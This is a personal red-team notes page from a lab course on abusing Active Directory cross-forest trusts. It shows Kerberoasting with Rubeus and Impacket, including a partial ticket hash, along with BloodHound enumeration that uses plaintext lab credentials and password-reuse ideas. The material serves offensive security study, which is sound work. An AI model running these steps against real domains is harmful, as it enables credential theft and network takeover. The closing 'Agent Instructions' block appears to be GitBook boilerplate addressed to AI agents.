> For the complete documentation index, see [llms.txt](https://duc193.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://duc193.gitbook.io/notes/redteam/active-directory/breaking-down-boundaries.md). # Breaking Down Boundaries ## 1. **Attacking Domain Trusts - Cross-Forest Trust Abuse - from Windows** ### 1. Cross-Forest Kerberoasting : #### Window Khi 2 domain trust nhau 1 chiều hoặc 2 chiều, chúng ta có thể Kerberoasting từ domain A sang domain B hoặc ngược lại. ```jsx Get-DomainUser -SPN -Domain FREIGHTLOGISTICS.LOCAL | select SamAccountName ``` ```jsx Get-DomainUser -Domain FREIGHTLOGISTICS.LOCAL -Identity mssqlsvc |select samaccountname,memberof ``` ```jsx .\Rubeus.exe kerberoast /domain:FREIGHTLOGISTICS.LOCAL /user:mssqlsvc /nowrap ``` #### Linux : ```jsx GetUserSPNs.py -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley ``` kerberoasting ```jsx nduc193@htb[/htb]$ GetUserSPNs.py -request -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley Impacket v0.9.25.dev1+20220311.121550.1271d369 - Copyright 2021 SecureAuth Corporation Password: ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation ----------------------------------- -------- ------------------------------------------------------ -------------------------- --------- ---------- MSSQLsvc/sql01.freightlogstics:1433 mssqlsvc CN=Domain Admins,CN=Users,DC=FREIGHTLOGISTICS,DC=LOCAL 2022-03-24 15:47:52.488917 $krb5tgs$23$*mssqlsvc$FREIGHTLOGISTICS.LOCAL$FREIGHTLOGISTICS.LOCAL/mssqlsvc*$10 ``` ### 2. Admin Password Re-Use Có thể sử dụng lại password của 1 user cho 2 domain thử, có thể nó khác username nhưng cùng mật khẩu. ### 3. Foreign Group Membership Abuse Admin của domain A có thể cũng là admin của domain B nên nếu attack được 1 domain thì cx có thể attack được domain kia ```jsx Get-DomainForeignGroupMember -Domain FREIGHTLOGISTICS.LOCAL ``` ## 2. Attacking Domain Trusts - Cross-Forest Trust Abuse - Linux ### 1. Cross-Forest Kerberoasting **Using GetUserSPNs.py** ```bash nduc193@htb[/htb]$ GetUserSPNs.py -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley Impacket v0.9.25.dev1+20220311.121550.1271d369 - Copyright 2021 SecureAuth Corporation Password: ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation ----------------------------------- -------- ------------------------------------------------------ -------------------------- --------- ---------- MSSQLsvc/sql01.freightlogstics:1433 mssqlsvc CN=Domain Admins,CN=Users,DC=FREIGHTLOGISTICS,DC=LOCAL 2022-03-24 15:47:52.488917 ``` **Using the -request Flag** ```bash nduc193@htb[/htb]$ GetUserSPNs.py -request -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley Impacket v0.9.25.dev1+20220311.121550.1271d369 - Copyright 2021 SecureAuth Corporation Password: ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation ----------------------------------- -------- ------------------------------------------------------ -------------------------- --------- ---------- MSSQLsvc/sql01.freightlogstics:1433 mssqlsvc CN=Domain Admins,CN=Users,DC=FREIGHTLOGISTICS,DC=LOCAL 2022-03-24 15:47:52.488917 $krb5tgs$23$*mssqlsvc$FREIGHTLOGISTICS.LOCAL$FREIGHTLOGISTICS.LOCAL/mssqlsvc*$10 ``` ### 2. Hunting Foreign Group Membership with Bloodhound-python **Thêm domain `INLANEFREIGHT.LOCAL` vào `/etc/resolv.conf`** ```bash shellsession nduc193@htb[/htb]$ cat /etc/resolv.conf # Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8) # DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN # 127.0.0.53 is the systemd-resolved stub resolver. # run "resolvectl status" to see details about the actual nameservers. #nameserver 1.1.1.1 #nameserver 8.8.8.8 domain INLANEFREIGHT.LOCAL nameserver 172.16.5.5 ``` **Chạy `bloodhound-python` với domain `INLANEFREIGHT.LOCAL`** ```bash nduc193@htb[/htb]$ bloodhound-python -d INLANEFREIGHT.LOCAL -dc ACADEMY-EA-DC01 -c All -u forend -p Klmcargo2 INFO: Found AD domain: inlanefreight.local INFO: Connecting to LDAP server: ACADEMY-EA-DC01 INFO: Found 1 domains INFO: Found 2 domains in the forest INFO: Found 559 computers INFO: Connecting to LDAP server: ACADEMY-EA-DC01 INFO: Found 2950 users INFO: Connecting to GC LDAP server: ACADEMY-EA-DC02.LOGISTICS.INLANEFREIGHT.LOCAL INFO: Found 183 groups INFO: Found 2 trusts ``` **Nén zip info vừa chạy được** ```bash nduc193@htb[/htb]$ zip -r ilfreight_bh.zip *.json adding: 20220329140127_computers.json (deflated 99%) adding: 20220329140127_domains.json (deflated 82%) adding: 20220329140127_groups.json (deflated 97%) adding: 20220329140127_users.json (deflated 98%) ``` Sau đó làm tương tự với domain khác **Thêm domain `FREIGHTLOGISTICS.LOCAL` vào `/etc/resolv.conf`** ```bash nduc193@htb[/htb]$ cat /etc/resolv.conf # Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8) # DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN # 127.0.0.53 is the systemd-resolved stub resolver. # run "resolvectl status" to see details about the actual nameservers. #nameserver 1.1.1.1 #nameserver 8.8.8.8 domain FREIGHTLOGISTICS.LOCAL nameserver 172.16.5.238 ``` **Chạy `bloodhound-python` với domain `FREIGHTLOGISTICS.LOCAL`** ```bash nduc193@htb[/htb]$ bloodhound-python -d FREIGHTLOGISTICS.LOCAL -dc ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -c All -u forend@inlanefreight.local -p Klmcargo2 INFO: Found AD domain: freightlogistics.local INFO: Connecting to LDAP server: ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 5 computers INFO: Connecting to LDAP server: ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL INFO: Found 9 users INFO: Connecting to GC LDAP server: ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL INFO: Found 52 groups INFO: Found 1 trusts INFO: Starting computer enumeration with 10 workers ``` **Check `Users with Foreign Domain Group Membership`**
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://duc193.gitbook.io/notes/redteam/active-directory/breaking-down-boundaries.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.